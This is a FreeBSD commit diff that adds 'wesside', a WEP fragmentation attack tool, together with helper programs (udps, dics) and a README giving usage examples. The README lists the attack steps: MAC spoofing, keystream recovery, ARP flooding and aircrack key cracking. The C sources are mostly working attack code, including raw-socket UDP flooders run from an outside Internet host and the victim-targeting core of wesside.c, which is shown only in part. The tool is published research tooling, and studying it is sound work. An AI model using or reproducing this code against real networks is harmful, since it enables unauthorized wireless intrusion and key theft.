summaryrefslogtreecommitdiffstats
path: root/tools/tools/net80211
diff options
context:
space:
mode:
authorsam <sam@FreeBSD.org>2006-08-07 00:05:04 +0000
committersam <sam@FreeBSD.org>2006-08-07 00:05:04 +0000
commitf81ca90c9f2cceba6516a9fafec37a1484c75f68 (patch)
tree3b23eabcfe3e5871001e1cbbe76ed386a330d5d5 /tools/tools/net80211
parentc149c8077e9ee3461b1fc1aacfd8305105a5ecd8 (diff)
downloadFreeBSD-src-f81ca90c9f2cceba6516a9fafec37a1484c75f68.zip
FreeBSD-src-f81ca90c9f2cceba6516a9fafec37a1484c75f68.tar.gz
another tool that uses the raw tx api
Submitted by: Andrea Bittau <a.bittau@cs.ucl.ac.uk>
Diffstat (limited to 'tools/tools/net80211')
-rw-r--r--tools/tools/net80211/wesside/Makefile5
-rw-r--r--tools/tools/net80211/wesside/README36
-rw-r--r--tools/tools/net80211/wesside/dics/Makefile10
-rw-r--r--tools/tools/net80211/wesside/dics/dics.c455
-rw-r--r--tools/tools/net80211/wesside/udps/Makefile10
-rw-r--r--tools/tools/net80211/wesside/udps/udps.c197
-rw-r--r--tools/tools/net80211/wesside/wesside/Makefile10
-rw-r--r--tools/tools/net80211/wesside/wesside/wesside.c2661
8 files changed, 3384 insertions, 0 deletions
diff --git a/tools/tools/net80211/wesside/Makefile b/tools/tools/net80211/wesside/Makefile
new file mode 100644
index 0000000..5b20fa4
--- /dev/null
+++ b/tools/tools/net80211/wesside/Makefile
@@ -0,0 +1,5 @@
+# $FreeBSD$
+
+SUBDIR= dics udps wesside
+
+.include <bsd.subdir.mk>
diff --git a/tools/tools/net80211/wesside/README b/tools/tools/net80211/wesside/README
new file mode 100644
index 0000000..f8c709f
--- /dev/null
+++ b/tools/tools/net80211/wesside/README
@@ -0,0 +1,36 @@
+$FreeBSD$
+
+This is an implementation of the frag attack described in:
+http://tapir.cs.ucl.ac.uk/bittau-wep.pdf
+It will only work with Atheros. It could be made to work with other cards, but
+it is more difficult.
+
+wesside's features:
+===================
+* Channel hops, finds a WEP wifi, finds a MAC to spoof if necessary and
+ associates.
+* Waits for a packet. Uses fragmentation to recover some keystream.
+* Discovers the network's IP using the linear keystream expansion technique in
+ order to decrypt an ARP packet.
+* Generates traffic on the network for weak IV attack:
+ - Either by flooding with ARP requests.
+ - Or, by contacting someone on the Internet [udps] and telling it to flood.
+* Uses aircrack periodically to attempt to crack the WEP key. The supplied
+ aircrack is modified to work with wesside.
+* Binds to a tap interface to allow TX. RX works if a dictionary is being buil
+t
+ [dics] and a packt with a known IV traverses the network.
+
+Examples:
+=========
+For the skiddies:
+./wesside
+
+To cause the Internet to flood:
+[Internet box]~$ ./udps 500
+./wesside -s ip_of_internet_box
+
+To build a dictionary:
+[Internet box]~# ./dicts source_ip_of_box 100
+./wesside -s ip_of_internet_box
+Use tap3 as if it were the wifi.
diff --git a/tools/tools/net80211/wesside/dics/Makefile b/tools/tools/net80211/wesside/dics/Makefile
new file mode 100644
index 0000000..9765243
--- /dev/null
+++ b/tools/tools/net80211/wesside/dics/Makefile
@@ -0,0 +1,10 @@
+# $FreeBSD$
+
+PROG= dics
+BINDIR= /usr/local/bin
+DPADD= ${LIBZ}
+LDADD= -lz
+CFLAGS=-g
+NO_MAN=
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/wesside/dics/dics.c b/tools/tools/net80211/wesside/dics/dics.c
new file mode 100644
index 0000000..54bc981
--- /dev/null
+++ b/tools/tools/net80211/wesside/dics/dics.c
@@ -0,0 +1,455 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/select.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#define __FAVOR_BSD
+#include <netinet/udp.h>
+
+#if 0
+#include <pcap.h>
+#endif
+
+#define MAGIC_LEN (20+8+5)
+
+#define PRGA_LEN (1500-14-20-8)
+
+#define BSD
+//#define LINUX
+
+#ifdef LINUX
+struct ippseudo {
+ struct in_addr ippseudo_src; /* source internet address */
+ struct in_addr ippseudo_dst; /* destination internet address */
+ u_char ippseudo_pad; /* pad, must be zero */
+ u_char ippseudo_p; /* protocol */
+ u_short ippseudo_len; /* protocol length */
+};
+#endif
+
+#define DPORT 6969
+#define TTLSENT 128
+
+int pps = 10;
+int poll_rate =5;
+
+/********** RIPPED
+************/
+unsigned short in_cksum (unsigned short *ptr, int nbytes) {
+ register long sum;
+ u_short oddbyte;
+ register u_short answer;
+
+ sum = 0;
+ while (nbytes > 1)
+ {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if (nbytes == 1)
+ {
+ oddbyte = 0;
+ *((u_char *) & oddbyte) = *(u_char *) ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ answer = ~sum;
+ return (answer);
+}
+/**************
+************/
+
+void hexdump(unsigned char *ptr, int len) {
+ while(len > 0) {
+ printf("%.2X ", *ptr);
+ ptr++; len--;
+ }
+ printf("\n");
+}
+
+int check_signal(int s, char* ip, unsigned char* ttl, unsigned short* port) {
+ unsigned char buf[1024];
+ int rd;
+ struct msghdr msg;
+ struct iovec iv;
+ struct sockaddr_in s_in;
+ struct {
+ struct cmsghdr hdr;
+ unsigned char ttl;
+ } ctl;
+
+ iv.iov_base = buf;
+ iv.iov_len = sizeof(buf);
+
+ memset(&msg, 0, sizeof(msg));
+ memset(&ctl, 0, sizeof(ctl));
+ msg.msg_name = &s_in;
+ msg.msg_namelen = sizeof(s_in);
+ msg.msg_iov = &iv;
+ msg.msg_iovlen = 1;
+ msg.msg_control = &ctl;
+ msg.msg_controllen = sizeof(ctl);
+
+ rd = recvmsg(s, &msg, 0);
+ if (rd == -1) {
+ perror("recvmsg()");
+ exit(1);
+ }
+
+ if (rd != 5)
+ return 0;
+
+ if ( ctl.hdr.cmsg_level != IPPROTO_IP ||
+#ifdef LINUX
+ ctl.hdr.cmsg_type != IP_TTL
+#else
+ ctl.hdr.cmsg_type != IP_RECVTTL
+#endif
+ ) {
+
+ printf("Didn't get ttl! len=%d level=%d type=%d\n",
+ ctl.hdr.cmsg_len, ctl.hdr.cmsg_level, ctl.hdr.cmsg_type);
+ exit(1);
+ }
+
+ if (memcmp(buf, "sorbo", 5) != 0)
+ return 0;
+
+ strcpy(ip, inet_ntoa(s_in.sin_addr));
+ *ttl = ctl.ttl;
+ *port = ntohs(s_in.sin_port);
+ return 1;
+}
+
+#if 0
+int check_signal(const unsigned char* buf, int rd,
+ char* ip, char* ttl, unsigned short *port) {
+ int got_it;
+ struct ip* iph;
+ struct udphdr* uh;
+
+ if (rd != MAGIC_LEN)
+ return 0;
+
+ iph = (struct ip*) buf;
+ uh = (struct udphdr*) ((char*)iph + 20);
+
+ if ( htons(uh->uh_dport) != DPORT)
+ return 0;
+
+ got_it = memcmp(&buf[rd-5], "sorbo", 5) == 0;
+
+ strcpy(ip, inet_ntoa(iph->ip_src));
+ *ttl = iph->ip_ttl;
+
+ *port = ntohs(uh->uh_sport);
+ return got_it;
+}
+#endif
+
+unsigned int udp_checksum(unsigned char *stuff0, int len, struct in_addr *sip,
+ struct in_addr *dip) {
+ unsigned char *stuff;
+ struct ippseudo *ph;
+
+ stuff = (unsigned char*) malloc(len + sizeof(struct ippseudo));
+ if(!stuff) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ ph = (struct ippseudo*) stuff;
+
+ memcpy(&ph->ippseudo_src, sip, 4);
+ memcpy(&ph->ippseudo_dst, dip, 4);
+ ph->ippseudo_pad = 0;
+ ph->ippseudo_p = IPPROTO_UDP;
+ ph->ippseudo_len = htons(len);
+
+ memcpy(stuff + sizeof(struct ippseudo), stuff0, len);
+
+ return in_cksum((unsigned short*)stuff, len+sizeof(struct ippseudo));
+}
+
+void send_stuff(int s, char* sip, char* ip, unsigned short port, int dlen) {
+ static unsigned char buf[PRGA_LEN+128] = "\x69";
+ static int plen = 0;
+ static struct sockaddr_in dst;
+ int rd;
+ struct in_addr tmp_dst;
+ int stuff, delay;
+ int i;
+
+ stuff = poll_rate*pps;
+ delay = (int) ((double)1.0/pps*1000.0*1000.0);
+
+ inet_aton(ip, &tmp_dst);
+ if (tmp_dst.s_addr != dst.sin_addr.s_addr ||
+ dlen != (plen - 20 - 8)) {
+
+ buf[0] = '\x69';
+ }
+
+ // create packet
+ if (buf[0] == '\x69') {
+ struct ip* iph;
+ struct udphdr* uh;
+ char* ptr;
+
+// printf("Initializing packet...\n");
+ memset(buf, 0, sizeof(buf));
+ iph = (struct ip*) buf;
+ iph->ip_hl = 5;
+ iph->ip_v = 4;
+ iph->ip_tos = 0;
+ iph->ip_len = htons(20+8+dlen);
+ iph->ip_id = htons(666);
+ iph->ip_off = 0;
+ iph->ip_ttl = TTLSENT;
+ iph->ip_p = IPPROTO_UDP;
+ iph->ip_sum = 0;
+
+ inet_aton(sip, &iph->ip_src);
+ inet_aton(ip, &iph->ip_dst);
+
+ memset(&dst, 0, sizeof(dst));
+ dst.sin_family = PF_INET;
+ dst.sin_port = htons(port);
+ memcpy(&dst.sin_addr, &iph->ip_dst, sizeof(dst.sin_addr));
+
+ iph->ip_sum = in_cksum((unsigned short*)iph, 20);
+
+ uh = (struct udphdr*) ((char*)iph + 20);
+ uh->uh_sport = htons(DPORT);
+ uh->uh_dport = htons(port);
+ uh->uh_ulen = htons(8+dlen);
+ uh->uh_sum = 0;
+
+ ptr = (char*) uh + 8;
+
+ memset(ptr, 0, dlen);
+
+ uh->uh_sum = udp_checksum((unsigned char*)uh, 8+dlen,
+ &iph->ip_src, &iph->ip_dst);
+
+#ifdef BSD
+ iph->ip_len = ntohs(iph->ip_len);
+#endif
+ plen = 20+8+dlen;
+ }
+#if 0
+ printf("Packet %d %s %d\n", plen, inet_ntoa(dst.sin_addr),
+ ntohs(dst.sin_port));
+ hexdump (buf, plen);
+#endif
+
+// printf("sending stuff to %s\n", ip);
+ for (i = 0; i < stuff; i++) {
+ rd = sendto(s, buf, plen, 0, (struct sockaddr*)&dst, sizeof(dst));
+ if (rd == -1) {
+ perror("sendto()");
+ exit(1);
+ }
+ if (rd != plen) {
+ printf("wrote %d out of %d\n", rd, plen);
+ exit(1);
+ }
+
+ // sending ttl..
+ if (dlen != PRGA_LEN)
+ break;
+ usleep(delay);
+ }
+}
+
+int main(int argc, char *argv[]) {
+ int s, us;
+ int rd = 1;
+
+#if 0
+ const u_char* buf;
+ char errbuf[PCAP_ERRBUF_SIZE];
+ struct pcap_pkthdr phdr;
+ pcap_t* p;
+ int dtl;
+#endif
+
+ int got_it = 0;
+ char ip[16] = "\x00";
+ unsigned char ttl = 0;
+ unsigned short port;
+ struct sockaddr_in s_in;
+ struct timeval tv;
+ fd_set rfds;
+ unsigned char* sip = 0;
+
+ if (argc < 2) {
+ printf("Usage: %s <sip> [pps]\n", argv[0]);
+ exit(1);
+ }
+
+ if (argc > 2) {
+ pps = atoi(argv[2]);
+ }
+
+ printf("PPS=%d\n", pps);
+
+ sip = argv[1];
+
+ memset(&s_in, 0, sizeof(&s_in));
+ us = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+ s_in.sin_family = PF_INET;
+ s_in.sin_addr.s_addr = INADDR_ANY;
+ s_in.sin_port = htons(DPORT);
+ if (bind (us, (struct sockaddr*)&s_in, sizeof(s_in)) == -1) {
+ perror("bind()");
+ exit(1);
+ }
+
+ rd = 1;
+ if (setsockopt(us, IPPROTO_IP, IP_RECVTTL, &rd, sizeof(rd)) == -1) {
+ perror("setsockopt()");
+ exit(1);
+ }
+
+ s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+
+ rd = 1;
+ if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &rd, sizeof(rd)) == -1) {
+ perror("setsockopt()");
+ exit(1);
+ }
+
+
+#if 0
+ p = pcap_open_live(argv[1], 512, 0, 25, errbuf);
+ if (!p) {
+ printf("pcap_open_live(): %s\n", errbuf);
+ exit(1);
+ }
+
+ dtl = pcap_datalink(p);
+
+ switch (dtl) {
+ case DLT_NULL:
+ dtl = 4;
+ break;
+
+ case DLT_EN10MB:
+ dtl = 14;
+ break;
+
+ default:
+ printf("Unknown datalink %d\n", dtl);
+ exit(1);
+ }
+
+ printf("Datalink size=%d\n", dtl);
+#endif
+ while (1) {
+#if 0
+ buf = pcap_next(p, &phdr);
+ if (buf) {
+ if (check_signal(buf+dtl, phdr.caplen-dtl,
+ ip, &ttl, &port)) {
+ got_it = 2;
+ printf("Got signal from %s:%d TTL=%d\n",
+ ip, port, ttl);
+ }
+ }
+#endif
+ FD_ZERO(&rfds);
+ FD_SET(us, &rfds);
+ tv.tv_sec = 0;
+ tv.tv_usec = 10*1000;
+ rd = select(us+1, &rfds, NULL, NULL, &tv);
+ if (rd == -1) {
+ perror("select()");
+ exit(1);
+ }
+ if (rd == 1 && FD_ISSET(us, &rfds)) {
+ char ipnew[16];
+ unsigned char ttlnew;
+ if (check_signal(us, ipnew, &ttlnew, &port)) {
+ int send_ttl = 0;
+ if (ttlnew != ttl || strcmp(ipnew, ip) != 0 ||
+ got_it == 0) {
+ send_ttl = 1;
+ }
+ ttl = ttlnew;
+ strcpy(ip, ipnew);
+
+ printf("Got signal from %s:%d TTL=%d\n",
+ ip, port, ttl);
+ got_it = 2;
+
+ if (send_ttl) {
+ printf("Sending ttl (%d)...\n", ttl);
+ send_stuff(s, sip, ip, port, 69 + (TTLSENT-ttl));
+ }
+ }
+ }
+
+ if (got_it) {
+ printf("Sending stuff to %s...\n", ip);
+ send_stuff(s, sip, ip, port, PRGA_LEN);
+ got_it--;
+
+ if (got_it == 0) {
+ printf("Stopping send\n");
+ }
+ }
+ }
+
+#if 0
+ pcap_close(p);
+#endif
+
+ close(s);
+ close(us);
+ exit(0);
+}
diff --git a/tools/tools/net80211/wesside/udps/Makefile b/tools/tools/net80211/wesside/udps/Makefile
new file mode 100644
index 0000000..257a181
--- /dev/null
+++ b/tools/tools/net80211/wesside/udps/Makefile
@@ -0,0 +1,10 @@
+# $FreeBSD$
+
+PROG= udps
+BINDIR= /usr/local/bin
+DPADD= ${LIBZ}
+LDADD= -lz
+CFLAGS=-g
+NO_MAN=
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/wesside/udps/udps.c b/tools/tools/net80211/wesside/udps/udps.c
new file mode 100644
index 0000000..8ffd1f0
--- /dev/null
+++ b/tools/tools/net80211/wesside/udps/udps.c
@@ -0,0 +1,197 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/select.h>
+#include <sys/time.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <time.h>
+#include <err.h>
+
+int poll_rate = 5;
+int pps = 10;
+
+//#define INSANE
+
+void own(int s, struct sockaddr_in* s_in) {
+ char buf[64];
+ int times = 10;
+ int i;
+ int delay = 10*1000;
+ unsigned int sent = 0;
+ struct timeval start, end;
+ struct timespec ts;
+ int dont_sleep_times = 1;
+ int dont_sleep;
+
+ delay = (int) ((double)1.0/pps*1000.0*1000.0);
+
+ if (delay <= 5000) {
+ dont_sleep_times = 10;
+/*
+ printf("delay is %d... sleeping every %d packets\n",
+ delay, dont_sleep_times);
+*/
+ delay *= dont_sleep_times;
+
+ delay = (int) (0.90*delay);
+ }
+
+ dont_sleep = dont_sleep_times;
+ times = poll_rate*pps;
+// times *= dont_sleep;
+
+
+
+ ts.tv_sec = 0;
+ ts.tv_nsec = delay*1000;
+
+// printf("times=%d delay=%d\n", times, delay);
+ if (gettimeofday(&start, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ for(i = 0; i < times; i++) {
+ if( sendto(s, buf, 6, 0, (struct sockaddr *)s_in, sizeof(*s_in)) != 6) {
+ printf("messed up a bit\n");
+ return;
+ }
+
+#ifndef INSANE
+
+#if 0
+ if (usleep(delay) == -1) {
+ perror("usleep()");
+ exit(1);
+ }
+#endif
+ dont_sleep--;
+
+ if (!dont_sleep) {
+ if (nanosleep(&ts, NULL) == -1) {
+ perror("nanosleep()");
+ exit(1);
+ }
+
+ dont_sleep = dont_sleep_times;
+ }
+
+#endif
+ sent++;
+ }
+
+ if (gettimeofday(&end, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ printf ("Sent %.03f p/s\n", ((double)sent)/(((double)end.tv_sec) - start.tv_sec));
+
+// printf("Sent %d packets\n", i);
+}
+
+int main(int argc, char* argv[]) {
+ int port = 6969;
+ struct sockaddr_in s_in;
+ int s;
+ int rd;
+ int len;
+ char buf[64];
+ struct timeval tv;
+ int do_it = 0;
+ fd_set rfds;
+ char ip[17];
+
+ if( argc > 1)
+ pps = atoi(argv[1]);
+
+ printf("Packets per second=%d\n", pps);
+
+ s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
+ if( s < 0)
+ err(1, "socket()");
+
+ s_in.sin_family = PF_INET;
+ s_in.sin_port = htons(port);
+ s_in.sin_addr.s_addr = INADDR_ANY;
+
+ if( bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) < 0) {
+ perror("bind()");
+ exit(1);
+ }
+
+ while(1) {
+ assert(do_it >= 0);
+ len = sizeof(struct sockaddr_in);
+
+ memset(&tv, 0, sizeof(tv));
+ tv.tv_usec = 1000*10;
+ FD_ZERO(&rfds);
+ FD_SET(s, &rfds);
+ rd = select(s + 1, &rfds, NULL ,NULL ,&tv);
+ if (rd == -1) {
+ perror("select()");
+ exit(1);
+ }
+ if (rd == 1 && FD_ISSET(s, &rfds)) {
+ rd = recvfrom(s, buf, 64, 0, (struct sockaddr*)&s_in, &len);
+
+ if(rd < 0) {
+ perror("read died");
+ exit(1);
+ }
+
+ if(rd == 5 && memcmp(buf, "sorbo", 5) == 0) {
+ sprintf(ip, "%s", inet_ntoa(s_in.sin_addr));
+ printf("Got signal from %s\n", ip);
+#ifdef INSANE
+ do_it = 10;
+#else
+ do_it = 2;
+#endif
+ }
+ }
+
+ if (do_it) {
+ printf("Sending stuff to %s\n", ip);
+
+ own(s, &s_in);
+ do_it--;
+
+ if(do_it == 0)
+ printf("Stopping send\n");
+ }
+ }
+}
diff --git a/tools/tools/net80211/wesside/wesside/Makefile b/tools/tools/net80211/wesside/wesside/Makefile
new file mode 100644
index 0000000..da912e9
--- /dev/null
+++ b/tools/tools/net80211/wesside/wesside/Makefile
@@ -0,0 +1,10 @@
+# $FreeBSD$
+
+PROG= wesside
+BINDIR= /usr/local/bin
+DPADD= ${LIBZ}
+LDADD= -lz
+CFLAGS=-g
+NO_MAN=
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/wesside/wesside/wesside.c b/tools/tools/net80211/wesside/wesside/wesside.c
new file mode 100644
index 0000000..5845fef
--- /dev/null
+++ b/tools/tools/net80211/wesside/wesside/wesside.c
@@ -0,0 +1,2661 @@
+/*
+ * wep owner by sorbo <sorbox@yahoo.com>
+ * Aug 2005
+ *
+ * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
+ * overflows. this whole thing is experimental n e way.
+ *
+ * $FreeBSD$
+ */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/endian.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/uio.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <net/if_llc.h>
+#include <net/if_arp.h>
+#include <net/if_types.h>
+#include <net/if_dl.h>
+#include <net/bpf.h>
+#include <net/ethernet.h>
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_freebsd.h>
+#include <netinet/in.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/udp.h>
+#include <arpa/inet.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <assert.h>
+#include <zlib.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <err.h>
+
+#define FIND_VICTIM 0
+#define FOUND_VICTIM 1
+#define SENDING_AUTH 2
+#define GOT_AUTH 3
+#define SPOOF_MAC 4
+#define SENDING_ASSOC 5
+#define GOT_ASSOC 6
+
+int state = 0;
+
+struct timeval arpsend;
+
+struct tx_state {
+ int waiting_ack;
+ struct timeval tsent;
+ int retries;
+ unsigned int psent;
+} txstate;
+
+struct chan_info {
+ int s;
+ struct ieee80211req ireq;
+ int chan;
+} chaninfo;
+
+struct victim_info {
+ char* ssid;
+ int chan;
+ char bss[6];
+} victim;
+
+struct frag_state {
+ struct ieee80211_frame wh;
+ unsigned char* data;
+ int len;
+ unsigned char* ptr;
+ int waiting_relay;
+ struct timeval last;
+} fragstate;
+
+struct prga_info {
+ unsigned char* prga;
+ unsigned int len;
+ unsigned char iv[3];
+} prgainfo;
+
+struct decrypt_state {
+ unsigned char* cipher;
+ int clen;
+ struct prga_info prgainfo;
+ struct frag_state fragstate;
+} decryptstate;
+
+struct wep_log {
+ unsigned int packets;
+ unsigned int rate;
+ int fd;
+ unsigned char iv[3];
+} weplog;
+
+unsigned char* floodip = 0;
+unsigned short floodport = 6969;
+unsigned short floodsport = 53;
+
+unsigned char* netip = 0;
+
+unsigned char* rtrmac = 0;
+
+unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
+unsigned char myip[16] = "192.168.0.123";
+
+int bits = 0;
+int ttl_val = 0;
+
+unsigned char *victim_mac = 0;
+
+int ack_timeout = 100*1000;
+
+#define ARPLEN (8+ 8 + 20)
+unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
+unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
+
+#define MCAST_PREF "\x01\x00\x5e\x00\x00"
+
+#define WEP_FILE "wep.log"
+#define PRGA_FILE "prga.log"
+
+unsigned int min_prga = 128;
+
+/*
+ * When starting aircrack we try first to use a
+ * local copy, falling back to where the installed
+ * version is expected.
+ * XXX builtin pathnames
+ */
+#define CRACK_LOCAL_CMD "../aircrack/aircrack"
+#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
+int thresh_incr = 100000;
+
+#define MAGIC_TTL_PAD 69
+
+int crack_dur = 60;
+int wep_thresh = 100000;
+int crack_pid = 0;
+struct timeval crack_start;
+struct timeval real_start;
+
+/* linksys does this. The hardware pads small packets. */
+#define PADDED_ARPLEN 54
+
+#define PRGA_LEN (1500-14-20-8)
+unsigned char inet_clear[8+20+8+PRGA_LEN+4];
+
+#define DICT_PATH "dict"
+#define TAP_DEV "/dev/tap3"
+unsigned char tapdev[16];
+unsigned char taptx[4096];
+unsigned int taptx_len = 0;
+int tapfd = -1;
+
+/********** RIPPED
+************/
+unsigned short in_cksum (unsigned short *ptr, int nbytes) {
+ register long sum;
+ u_short oddbyte;
+ register u_short answer;
+
+ sum = 0;
+ while (nbytes > 1)
+ {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if (nbytes == 1)
+ {
+ oddbyte = 0;
+ *((u_char *) & oddbyte) = *(u_char *) ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ answer = ~sum;
+ return (answer);
+}
+/**************
+************/
+
+unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
+ struct in_addr *dip) {
+ unsigned char *tmp;
+ struct ippseudo *ph;
+
+ tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
+ if(!tmp)
+ err(1, "malloc()");
+
+ ph = (struct ippseudo*) tmp;
+
+ memcpy(&ph->ippseudo_src, sip, 4);
+ memcpy(&ph->ippseudo_dst, dip, 4);
+ ph->ippseudo_pad = 0;
+ ph->ippseudo_p = IPPROTO_UDP;
+ ph->ippseudo_len = htons(len);
+
+ memcpy(tmp + sizeof(struct ippseudo), stuff, len);
+
+ return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
+}
+
+void time_print(char* fmt, ...) {
+ va_list ap;
+ char lame[1024];
+ time_t tt;
+ struct tm *t;
+
+ va_start(ap, fmt);
+ vsnprintf(lame, sizeof(lame), fmt, ap);
+ va_end(ap);
+
+ tt = time(NULL);
+
+ if (tt == (time_t)-1) {
+ perror("time()");
+ exit(1);
+ }
+
+ t = localtime(&tt);
+ if (!t) {
+ perror("localtime()");
+ exit(1);
+ }
+
+ printf("[%.2d:%.2d:%.2d] %s",
+ t->tm_hour, t->tm_min, t->tm_sec, lame);
+}
+
+void check_key() {
+ char buf[1024];
+ int fd;
+ int rd;
+ struct timeval now;
+
+ fd = open("key.log", O_RDONLY);
+
+ if (fd == -1) {
+ return;
+ }
+
+ rd = read(fd, buf, sizeof(buf) -1);
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+
+ buf[rd] = 0;
+
+ close(fd);
+
+ printf ("\n\n");
+ time_print("KEY=(%s)\n", buf);
+
+ if (gettimeofday(&now, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+ printf ("Owned in %.02f minutes\n",
+ ((double) now.tv_sec - real_start.tv_sec)/60.0);
+ exit(0);
+}
+
+void kill_crack() {
+ if (crack_pid == 0)
+ return;
+
+ printf("\n");
+ time_print("Stopping crack PID=%d\n", crack_pid);
+
+ // XXX doesn't return -1 for some reason! [maybe on my box... so it
+ // might be buggy on other boxes...]
+ if (kill(crack_pid, SIGINT) == -1) {
+ perror("kill()");
+ exit(1);
+ }
+
+ crack_pid = 0;
+
+ check_key();
+}
+
+void cleanup(int x) {
+ time_print("\nDying...\n");
+
+ if (weplog.fd)
+ close(weplog.fd);
+
+ kill_crack();
+
+ exit(0);
+}
+
+void set_chan(int c) {
+ if (c == chaninfo.chan)
+ return;
+
+ chaninfo.ireq.i_val = c;
+
+ if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
+ perror("ioctl(SIOCS80211) [chan]");
+ exit(1);
+ }
+ chaninfo.chan = c;
+}
+
+void setup_if(char *dev) {
+ int s;
+ struct ifreq ifr;
+ unsigned int flags;
+ struct ifmediareq ifmr;
+ int *mwords;
+
+ if(strlen(dev) >= IFNAMSIZ) {
